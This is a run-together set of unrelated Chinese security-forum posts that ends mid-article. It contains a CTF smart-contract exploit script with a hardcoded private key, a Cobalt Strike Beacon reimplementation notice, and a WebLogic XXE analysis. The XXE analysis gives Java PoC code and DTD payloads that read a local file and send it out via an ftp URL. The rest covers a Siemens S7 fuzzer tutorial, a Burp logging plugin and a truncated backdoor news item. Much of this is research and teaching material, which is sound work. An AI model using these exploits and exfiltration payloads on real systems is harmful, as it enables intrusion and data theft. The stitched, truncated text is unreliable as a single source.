出题人没有设置RN,
可以直接similar contract找到他原来的做题记录。
import web3
import time
from web3 import Web3,HTTPProvider
from web3.auto import w3
from Crypto.Util.number import *
RINKEDBY_URL = "https://ropsten.infura.io/v3/097c700c39fd46be8178f46b6889e78c"
web3=Web3(HTTPProvider(RINKEDBY_URL))
print(web3.isConnected())
acct=web3.eth.account.from_key('0x03c70d2e6e93d23f0bec4c44e117985b023ecf348172c996b02882a105f1bdc5')
pub = acct.address
pri = acct.privateKey
print(acct.address,acct.privateKey)
gasPrice = web3.eth.gasPrice
chain_id = web3.eth.chain_id
nonce = web3.eth.getTransactionCount(pub)
def sendRawTransaction(fromAddr,toaddr,data,nonce,gasPrice = gasPrice,chain_id = chain_id,value = 0):
if toaddr == None:
rawTx = { 'chainId':3, 'from': fromAddr, 'nonce': nonce, 'gasPrice': gasPrice, 'gas': 5000000, 'value': value, 'data': data, }
else:
rawTx = { 'chainId':3, 'to':toaddr, 'from': fromAddr, 'nonce': nonce, 'gasPrice': gasPrice, 'gas': 5000000, 'value': value, 'data': data, }
signedTx = web3.eth.account.signTransaction(rawTx, private_key=pri)
hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
print(hashTx)
receipt = web3.eth.waitForTransactionReceipt(hashTx)
print(receipt)
return receipt
payload =bytes.fromhex('608060405234801561001057600080fd5b5060405160208061096a83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506108e7806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680638f4ed3331461005c578063d40a71fb14610073578063df4ec2491461008a575b600080fd5b34801561006857600080fd5b506100716100a1565b005b34801561007f57600080fd5b50610088610243565b005b34801561009657600080fd5b5061009f61071d565b005b600069424a44264441534354467601000000000000000000000000000000000000000000000290506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663707583d5826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808275ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff19168152602001915050600060405180830381600087803b15801561018b57600080fd5b505af115801561019f573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663919840ad6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561022857600080fd5b505af115801561023c573d6000803e3d6000fd5b5050505050565b600061024d6107bc565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633472df228273ffffffffffffffffffffffffffffffffffffffff6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15801561032757600080fd5b505af115801561033b573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639527008060006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156103d057600080fd5b505af11580156103e4573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633472df228273ffffffffffffffffffffffffffffffffffffffff6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1580156104c057600080fd5b505af11580156104d4573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639527008060006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561056957600080fd5b505af115801561057d573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633472df228273ffffffffffffffffffffffffffffffffffffffff6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15801561065957600080fd5b505af115801561066d573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639527008060006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561070257600080fd5b505af1158015610716573d6000803e3d6000fd5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f96339306040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156107a257600080fd5b505af11580156107b6573d6000803e3d6000fd5b50505050565b600080600080600080600294506000935084604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b60208310151561082257805182526020820191506020810190506020830392506107fd565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600190049250828411156108675782840391506108b0565b8284141561087857600091506108af565b828410156108ae577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9050836001848303010191505b5b5b8195505050505050905600a165627a7a72305820bd573733d36278252bc4754039d0930b28f3a71e3f8d56ca5e304cd5351846380029000000000000000000000000442787DBF8f75F0A3eF14616f8f698b0d620Cf09')
receipt = sendRawTransaction(pub,None,payload,nonce)
print(receipt)
部署完直接打即可。 | 社区文章 |
### 一份未完成的cobalt strike beacon代码
这几天因为一些原因跑去还原了一下Beacon的代码，整体上还原了大部分，功能实现没有
差不多一百多个功能
整体的框架已经还原完的跟原版beacon.dll一样可以使用cs的配置文件不是写死的
使用方式生成一个raw格式
然后用16进制编辑器打开生成的bin 搜索`2E 2F 2E 2F 2E`
然后从这个位置开始选择往后4096个字节把它复制下来替换到项目里
运行后效果如下没有任何功能
基本通信流程就是首先解密配置然后对c2配置进行解析格式化
然后解析一些需要用的配置
构造元数据 设置http请求 发送元数据 接受返回信息 解密并格式化然后交由Parse_Task处理去执行任务
任务执行完发送结果，主要依靠sub_10012CF这个函数
这个还会调用其他函数，其他函数进一步包装返回数据
与之对应的服务端在接收数据解密后会根据返回id进行处理
其中id 31表示此任务执行错误，然后首先读取一个int然后根据这个int判断要显示的错误信息
项目地址:<https://github.com/WBGlIl/Beacon_re>
项目依赖libtommath-0.42.0和libtomcrypt-1.17，整个项目的代码非常糟糕慎重考虑是否要看
懒的搞了写的也很随意 | 社区文章 |
# 《书安》第一期
|
##### 译文声明
本文是翻译文章，文章来源：书安
译文仅供参考，具体内容表达以及含义原文为准。
有很多朋友一直关心《书安》什么时候发布,今天《书安》第一期在所有伙伴的共同努力下与你见面啦。不仅有IOS安全、渗透测试、代码审计,更有我们精心准备的隐藏0day彩蛋一枚,小伙伴们是否一眼就能把它找出来呢~我们用心书写安全,愿可以帮助到同我们一样热爱安全的你
[**http://yunpan.cn/cmT2HDJxqsKzT**](http://yunpan.cn/cmT2HDJxqsKzT) **访问密码
ec12** | 社区文章 |
**Author：Longofo@Knownsec 404 Team**
**Chinese version:<https://paper.seebug.org/906/>**
Oracle released an update patch in April，see this
link(<https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW>
[@xxlegend](https://twitter.com/shengqi158) analyze one of the XXE
vulnerability points in his
[blog](http://xxlegend.com/2019/04/19/weblogic%20CVE-2019-2647%E7%AD%89%E7%9B%B8%E5%85%B3XXE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/),
and given PoC. For the purpose of learning, I try to analyze the XXE of
several other points and given my PoC. The following analysis I try to
describe my own thinking and the construction of my PoC. During the analysis,
I meet some difficulties, even my solution seems stupid in some cases, but
that doesn't matter. Thanks to the 404 team partner
[@Badcode](https://twitter.com/yigeban) who helped me in the recurrence and
analysis, I might spend more than half of the time in the environment build if
without his support.
### Find The Vulnerability Point
According to Java common XXE defense
code(reference<https://blog.spoock.com/2018/10/23/java-xxe/>), by comparing
patches，I found the new patch to perform the `setFeature` operation in the
following places:
May be the corresponding four CVE, the `ForeignRecoveryContext`
[@xxlegend](https://twitter.com/shengqi158) has been analyzed, and I will not
analyze in here. The following is mainly the analysis of the other three
points
### Analysis Environment
* Windows 10
* WebLogic 10.3.6.0
* Jdk160_29(JDK version that comes with WebLogic 10.3.6.0)
### WsrmServerPayloadContext Vulnerability Analysis
The code after the repair of `WsrmServerPayloadContext`:
package weblogic.wsee.reliability;
import ...
public class WsrmServerPayloadContext extends WsrmPayloadContext {
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
...
}
private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
...
ByteArrayInputStream var15 = new ByteArrayInputStream(var3);
try {
DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();
try {
String var8 = "http://xml.org/sax/features/external-general-entities";
var7.setFeature(var8, false);
var8 = "http://xml.org/sax/features/external-parameter-entities";
var7.setFeature(var8, false);
var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
var7.setFeature(var8, false);
var7.setXIncludeAware(false);
var7.setExpandEntityReferences(false);
} catch (Exception var11) {
if (verbose) {
Verbose.log("Failed to set factory:" + var11);
}
}
...
}
}
The `setFeature` operation is performed to prevent the xxe attack, but the
`setFeature` operation is not performed before the patch.
`readExternal` will be called when deserializing the object, the corresponding
`writeExternal` will be called when serializing the object, let's look at the
logic of `writeExternal`:
`Var1` is `this.formENdpt`, note that `var5.serialize` can pass in three types
of objects, `var1.getEndptElement()` returns the `Element` object, let's
create a new project to construct the poc:
Project structure(Remember to include all jars under the WebLogic `modules`
and `wlserver_10.3\server\lib` folder to the project):
public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static class MyEndpointReference extends EndpointReference {
@Override
public Element getEndptElement() {
super.getEndptElement();
Document doc = null;
Element element = null;
try {
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse("test.xml");
element = doc.getDocumentElement();
} catch (Exception e) {
e.printStackTrace();
}
return element;
}
}
public static Object getXXEObject() {
EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
The content of test.xml is as follows, my.dtd is empty, we just simply test
whether we can receive the request:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
Run PoC, generate the deserialized xxe data, open with hex viewer:
I found DOCTYPE could not be introduced
I tried the following methods：
* In the above, `var5.serialize` can pass the `Document` object. I test it, it is OK, but how to make `getEndptElement` return a `Document` object?
* I tried to create an `EndpointReference` class and modified `getEndptElement` to return the Document object, but it can't find the class I created when deserializing, the reason is that the class `package` I built is different from the original one, so it failed
* I try to dynamically replace a class method like Python, it seems that Java can't do it...
* I tried a violent approach，replacing the class in the Jar package.
* First copy the Weblogic `modules` folder and the `wlserver_10.3\server\lib` folder to another directory, unzip `wlserver_10.3\server\lib\weblogic.jar`, remove the `WsrmServerPayloadContext.class` class，then recompress the directory to `weblogic.Jar`.
* Create a new project and include the required Jar file(All the Jar packages in the `modules` and `wlserver_10.3\server\lib` folders)
* Create the same package name as the original, and create a new `WsrmServerPayloadContext.class` class in the package, Copy the original content to modify
`WsrmServerPayloadContext.class`modified code:
* After testing the second way is OK, but slightly more complicated。Then I try to create a new package with the same package name as the original `WsrmServerPayloadContext.class`, and then modify it
This way is also feasible and easier
Construct a new PoC:
public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
EndpointReference fromEndpt = new EndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
View hex:
DOCTYPE was written
Send serialized data to WebLogic 7001 port using T3 protocol script:
Nice, after receiving the request, the next step is to try to read file
test.xml content:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
%dtd;
%send;
]>
<ANY>xxe</ANY>
my.dtd(When using PoC to generate deserialized data, first clear the contents
of my.dtd. Otherwise, it will report an error in 'dbBuilder.parse` and cannot
generate normal deserialized data. As for why, you can test it and you will
known):
<!ENTITY % all
"<!ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>"
>
%all;
Running PoC to generate deserialized data, but I found that the request could
not be received... well, let's look at the hexadecimal:
``%dtd;%send;` is gone...，Probably because of the DOM parser, my.dtd content
is empty, data is not referenced。
Try debug:
`%dtd;%send;` is actually being processed.
Testing the normal loading of external data, `my.dtd` is changed as follows:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/gen.xml'>"
>
%all;
gen.xml:
<?xml version="1.0" encoding="UTF-8"?>
Try debug:
`%dtd;%send;` has been replaced by the contents of `my.dtd`。when I debug the
xml parseing process roughly ,we found an `EntityScanner` , it will detect the
ENTITY in the xml, and will judge whether the external resource is loaded. If
the external resource is loaded, the entity reference will be replaced with
the entity declaration content. In other words, the xml data in the
deserialized data we constructed has been parsed once, but we need data that
has not been parsed, let the target parse the xml data。
So I tried to modify the hex data as follows, making xml data not be parsed:
Runing PoC，
Actually succeeded. I thought that the xml data generated by deserialization
would be verified before，otherwise it can't be properly deserialized，but I can
modify the hex data directly to work.
### UnknownMsgHeader Vulnerability Analysis
Similar to `WsrmServerPayloadContext`，The PoC construct is also create a new
package and then replace it, I will not analyze it in detail here, I only talk
about the construction of PoC.
Create a new `UnknownMsgHeader` class and modify `writeExternal`
PoC:
public class WeblogicXXE2 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
QName qname = new QName("a", "b", "c");
Element xmlHeader = null;
UnknownMsgHeader umh = new UnknownMsgHeader();
try {
Field f1 = umh.getClass().getDeclaredField("qname");
f1.setAccessible(true);
f1.set(umh, qname);
Field f2 = umh.getClass().getDeclaredField("xmlHeader");
f2.setAccessible(true);
f2.set(umh, xmlHeader);
} catch (Exception e) {
e.printStackTrace();
}
return umh;
}
}
Runing PoC(Remember that the PoC generation step is the same as the first
vulnerability point, You may need to modify the hexadecimal ):
### WsrmSequenceContext Vulnerability Analysis
This class seems to need to construct a lot of things, the logic of
`readExternal` and `writeExternal` is also more complicated than the first
two, but the PoC structure is easy
Create a new `WsrmSequenceContext` class, and modify it
PoC:
public class WeblogicXXE3 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
}
public static Object getXXEObject() {
EndpointReference acksTo = new EndpointReference();
WsrmSequenceContext wsc = new WsrmSequenceContext();
try {
Field f1 = wsc.getClass().getDeclaredField("acksTo");
f1.setAccessible(true);
f1.set(wsc, acksTo);
} catch (Exception e) {
e.printStackTrace();
}
return wsc;
}
}
Testing:
### Last
Ok, the analysis is complete. The first time I analyzed the Java
vulnerability, there are still a lot of deficiencies, but I also learned a lot
in the process of analysis. Even if it is a seemingly simple point, if I am
not familiar with the feature of Java, it will take a long time to solve some
problems. So, go step by step, there is still a lot to learn.
Here is a demo video from xxe to rce, thanks to the demo video provided by
superman of Knownsec 404 team.
### About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 【技术分享】Scapy Fuzz实现——S7协议从建连到“正常交流“(一)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[DropsAm4zing](http://bobao.360.cn/member/contribute?uid=2914824807)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
酝酿了“三秒钟“，准备理清逻辑写写我学习的心得，自认为和Siemens
S7协议有过一段时间浅浅的“交流”，所以这过程中涉及到了自己整理的自认为有用的东西，涉及工具、脚本这般，发出来让大家都能看到，逻辑也许简单，但努力写的尽量不那么的潦草。
**0x01 环境介绍**
Kali 2.0、Python2.7、Pycharm
**0x02 初次尝试**
都说scapy是很强势的第三方库，很多人用它实现端口扫描，那么我通过学习它并且尝试实现针对Siemens S7协议的Fuzz脚本。
首先需要明白几个特别重要的点，在下面一一总结。首当其中当然是做个最简单的三次握手，TCP没有三次握手又怎么能行呢？
#!/usr/bin python
# -*- encoding: utf-8 -*- from scapy.all import *
src = sys.argv[1]
dst = sys.argv[2]
dport = int(sys.argv[3])
def tcpConnect():
SYN = TCP(sport=sport, dport=dport, flags='S', seq=0)
try:
SYNACK = sr1(ip / SYN, timeout=1)
print SYNACK[1][0]
except:
print "TCP Connect Error."
else:
ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK[1][0].ack, ack=SYNACK[1][0].seq + 1)
send(ip / ACK)
return SYNACK
if __name__ == __main__:
sport = random.randint(1024, 65535)
ip = IP(src=src, dst=dst)
tcpConnect()
代码很简单的四行，实现的原理就是指定“源IP”、“目的IP”、“目的端口”完成三次握手的过程，我们可以通过运行这个Python脚本结合Wireshark抓包来分析具体的过程:
在外部主机通过TCP/UDP调试工具模拟开启服务端，在虚拟机运行脚本。
我们注意到，通过Wireshark抓包应该你会看到三次握手并没有像预想的那样建立，是被本机Reset掉了，是什么原因呢?
Iptables收到了返回的ACK数据包，而它检测到系统本身没有发送过任何的SYN握手包，所以重置这个握手连接（举个例子：你在一家饭店坐着，一句话没说服务员就端上一盘龙虾说“这是您点的龙虾”，其实是某位顾客给你叫的，你的本能可能也会是拒绝。）
怎样来避免出现这样的情况，可以添加iptables规则来解决，比如下面这条直接丢弃掉所有的RST包(当然最好自己根据实际的情况去添加规则，举例的这个规则有点儿极端)。
iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
添加规则之后，再次执行脚本，我们看到通过三次握手，建立连接。
**0x03 Scapy几个函数**
三次握手简单的实现了，但是我们从这个简单的代码中需要知道Scapy的几个函数:
Send(): 这个函数只会将数据包发送出去，也就是只发不收。
Sr1():
这个函数会在发送数据包之后，接收返回的第一个数据包(如，你发送了一个数据包，对方先返回一个ACK数据包，之后返回了带有数据的数据包，那么这个函数会接收到第一个返回的ACK数据包)
Sr(): 这个函数会发送并接收数据包，区别于上面的Sr1()，这个函数会接收返回的所有数据包。
那么我们自然也可以明白在三次握手的代码中，我们首先用到Sr1()函数发送SYN数据包之后接收返回的ACK数据包，然后再收到ACK后Send()给对方一个ACK数据包。
**0x04 Ack和Seq**
每次数据的交互，从一次完整的三次握手开始，Ack和Seq的值是跟随着每一步在变化，在建立三次连接之后的数据交互过程中Ack和Seq的变化关系到通过Scapy伪造的数据包能不能正常被接收以及被回复。
这是之前做的一个很简陋的过程的图片，我们从这个过程中需要通过这样的变化规律来不断的改变Ack和Seq的值，以此来发送正确的数据包达到与目标设备正常交互的过程。
通过Wireshark抓包我们看到的效果是最直观的看到交互过程中Seq和Ack值的变化，最终在代码中如何实现，需要利用Scapy接收到数据包的格式来确定下一个数据包的Ack和Seq。需要发送的伪造的数据包的Seq值为接收到的数据包的Ack值，伪造的数据包的Ack值可以将接收到的数据包的Seq值加数据部分data的长度确定。
在上图中Wireshark数据包中解析已经显示了下一个Seq值，但实际上这一点并没有在数据包中提现，所以只是Wireshark自己计算并显示了这个值，可能用于方便抓包分析的人识别数据包的对应关系？不得而知……
对于如何通过Scapy来实现对这些参数的伪造呢？
我们通过Scapy的sniff模块来嗅探并过滤几个数据包来举例查看数据的格式，我们可以看到Scapy模块接收到的数据以元组的方式存储，那么Sr()、Sr1()都是以元组的方式呈现接收到的数据包。我们通过元组的访问方式取得数据包中每层对应的参数。可以具体一步步调试确定准确的位置。
这样的话我们可以通过sniff模块中的各部分的具体参数来获取接收到数据的长度，获取上一个数据包中的Ack和Seq值，和自己准备的数据长度结合即可确定下一个数据包中Ack和Seq的准确值，同时还可以通过判断flags这个参数获取数据包的类型:
S/SA/PA。
这样看来，我们基本已经完成了准备工作:
三次握手、Ack和Seq的变化，我们需要的是准备自己的Fuzz数据就可以实现一个简单的Fuzz脚本，基于Scapy实现的Fuzz脚本。
**0x05 脚本实现流程**
这一部分就先来确定自己实现一个简单脚本的思路流程，通过自己制作的一个糙的流程图来看:
TCP的三次握手
S7协议的建连
Fuzz数据的交互
日志收集
**0x06 S7 建连过程**
S7协议和TCP的感觉有点儿类似，需要一个建立连接的过程，在三次握手之后，需要发送S7协议自己的建立连接的数据，之后才能与设备建立连接进行数据的传输。
Wireshark中内置了S7协议的解析模块，不是对每个模块的功能都有完全的解释，但是在对协议理解的上手过程中会起到很重要的作用，可以帮助我这样的新手一定程度上很好的理解。
我们可以看到Wireshark在很大的程度上已经对协议数据中每个部分的内容进行了解释，同时我们可以在实现的时候通过整个数据进行重放来实现建立连接的过程。
def hello_plc(self):
hello_data = str2byte(hello)
hello_packet = TCP(sport=sport, dport=dport, flags='PA', seq=self.ack, ack=self.seq + 1)
COTPACK = sr(ip / hello_packet / hello_data, multi=True, timeout=5)
comm_data = str2byte(set_comm)
comm_pkt = TCP(sport=sport, dport=dport, flags='PA',
seq=COTPACK[0][1][1].ack, ack=COTPACK[0][1][1].seq + len(COTPACK[0][1][1].load))
COMMACK = sr(ip / comm_pkt / comm_data, multi=True, timeout=5)
comm_ack = TCP(sport=sport, dport=dport, flags='A',
seq=COMMACK[0][2][1].ack, ack=COMMACK[0][2][1].seq + len(COMMACK[0][2][1].load))
send(ip/comm_ack)
return COMMACK
这个函数里面可能有几个参数需要简单说一下，因为它们的作用保证了这个Fuzz脚本可以正确的接收到返回的带有数据的数据包。
Sr()函数的“multi”和“timeout”，设置发出数据包后等待时间和超时时间，因为在实际的环境运行的时候，如果使用Sr1()，容易出现发送数据后设备先返回一个ACK数据包(不包含任何数据)，使用Sr()会在接收异常的时候一直等待或一直接收，不能准确的定位到我们需要的数据部分，所以添加这两个参数有足够的时间等待接收到返回的带有数据的数据包，同时也避免了一直接收其他无关的异常数据。
**0x07 暂告一段**
到此为止，我们已经从TCP的三次握手，到通过与设备的Siemens
S7协议进行交互建立连接，以及在过程中如何确保数据包中个参数的变化情况，保证伪造的数据包有效。剩下的部分就是如何针对自己的环境去实现一个简单的Fuzz脚本对协议进行Fuzz测试。我仍然在不断整理不断总结。 | 社区文章 |
## 前言
早前写过一个基于代理的模式的自动化的安全扫描器。
当初是用python来写的一个代理，但是可能我实际安全测试的时候用burpsuite比较多一点，所以写个burpsuite的插件来被动的存储http请求到数据库里。
这个也比较简单，所以大概跟同学们说下，代码会开源。
## 插件基础
基础环境的搭建可参考上篇文章，一些API的基础可参考官方文档。
还是同之前的插件一样，所有的burpsuite插件都必须实现IBurpExtender这个接口。由于我们需要被动的收集http的请求，所以还要实现IScannerCheck。
为了界面客观性，加了个UI面板，所以需要实现ITab接口。
## 代码实现
burpsuite插件的注册声明
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
this.callbacks = callbacks;
this.helpers = callbacks.getHelpers();
stdout = new PrintWriter(callbacks.getStdout(),true);
db = jdbcUtils.getInitJDBCUtil();
bpGui(callbacks);
callbacks.setExtensionName("NST Proxy");
callbacks.registerScannerCheck(this);
stdout.println("NST Proxy V1.1 load Success ");
}
这个方法每个插件都要实现，基本操作都是类似的。初始化一些变量并注册插件。
为了避免一些静态资源js和css之类的存到数据库，所以进行了后缀的检测。
同样的，避免一些不需要检测的请求入库，还进行了域名的黑名单过滤。预定义如下
public static String[] blackExt = {
".ico",".woff",".flv",".js",".css",".jpg",
".png",".jpeg",".gif",".pdf",".txt",
".rar",".zip",".mp4",".svg","woff2",
".swf",".wmi",".exe",".mpeg",".htm"
};
public static String[] url_black_hosts = {".gov","qq.com","so.com","12306.cn",
"itwzw.cn","google","gstatic","cnzz.com","doubleclick","bootcss.com",
"360safe.com","mil.cn","gov.cn","gov.com","cnblogs.com","box3.cn","bdimg.com","360.cn",
"baidu.com","csdn.com","github.com","127.0.0.1","localhost","googleadsserving.cn",".csdn.net"
};
可以根据需求来进行具体的修改。
检测方法如下
public static boolean isblackext(String url) {
for (String ext : blackExt) {
//such as : a.js
if(url.endsWith(ext)) {
return true;
}else {
//such as : as.js?ver=20170101
if(url.contains("?")){
String[] urls = url.split("?");
isblackext(urls[0]);
}
}
}
return false;
}
public static boolean isblackdomain(String url) {
for (String string : url_black_hosts) {
if(url.contains(string)) {
return true;
}
}
return false;
}
重复的URL地址将不会再次存储，每次入库前会进行查重，具体为
public int queryrepeat(String url,String body,Connection conn) {
String sql_exec = "SELECT COUNT(*) as count FROM httplog WHERE url=? AND body = ?";
int flag = 0;
try {
PreparedStatement ps = conn.prepareStatement(sql_exec);
ps.setString(1, url);
ps.setString(2, body);
ResultSet rs = ps.executeQuery();
while (rs.next()) {
flag = rs.getInt("count");
}
return flag;
} catch (SQLException e) {
e.printStackTrace();
}
return 0;
}
然后就是根据被动的请求，来拿到http请求，进行拆分组装后存到MySQL数据库里。
String url = this.helpers.analyzeRequest(baseRequestResponse).getUrl().toString();
helpers是burpsuite提供的一个帮助类的插件，可由他来获取到http请求的URL，method，body参数等信息。
封装后入库。
public int insert(Map<String,String> sql,Connection conn,PrintWriter stdout) {
String sql_exec = "INSERT INTO httplog(url,method,header,body) VALUE(?,?,?,?)";
try {
PreparedStatement ps = conn.prepareStatement(sql_exec);
ps.setString(1, sql.get("url"));
ps.setString(2, sql.get("method"));
ps.setString(3, sql.get("headers"));
ps.setString(4, sql.get("body"));
int i = ps.executeUpdate();
stdout.println("[+] insert ["+i+"] row ");
return i;
} catch (SQLException e) {
e.printStackTrace();
}
return 0;
}
httplog表结构如下，需要先创建表
USE `scan`;
/*Table structure for table `httplog` */
DROP TABLE IF EXISTS `httplog`;
CREATE TABLE `httplog` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`url` varchar(255) DEFAULT NULL,
`method` varchar(50) DEFAULT NULL,
`header` text,
`body` text,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=55 DEFAULT CHARSET=utf8;
## 使用
直接导入插件后
修改响应的MySQL连接字符串，当Proxy被选中则存储到数据库，否则将不会处理。方便手工测试一些东西时，所以加个是否开启的开关。
控制台输出
然后浏览器开启burpsuite代理即可自动的存储到数据库中。
然后就可以根据具体的需要来进行检测漏洞了。
## 开源
项目地址
<https://github.com/ibey0nd/NSTProxy> | 社区文章 |
# 【技术分享】“夭折”的供应链攻击 - Defraggler被植入后门代码分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**概述**
2017年9月18日，Piriform 官方发布安全公告，称旗下的CCleaner version 5.33.6162和CCleaner
Cloudversion
1.07.3191版本软件被篡改并植入了恶意代码。被植入后门代码的软件版本被公开下载了一个月左右，导致百万级别的用户受到影响，泄露机器相关的敏感信息甚至极少数被执行植入了更多的恶意代码。
而在近日，360威胁情报中心监控到的样本文件显示Piriform旗下开发的另外一款磁盘碎片整理工具 **Defraggler**
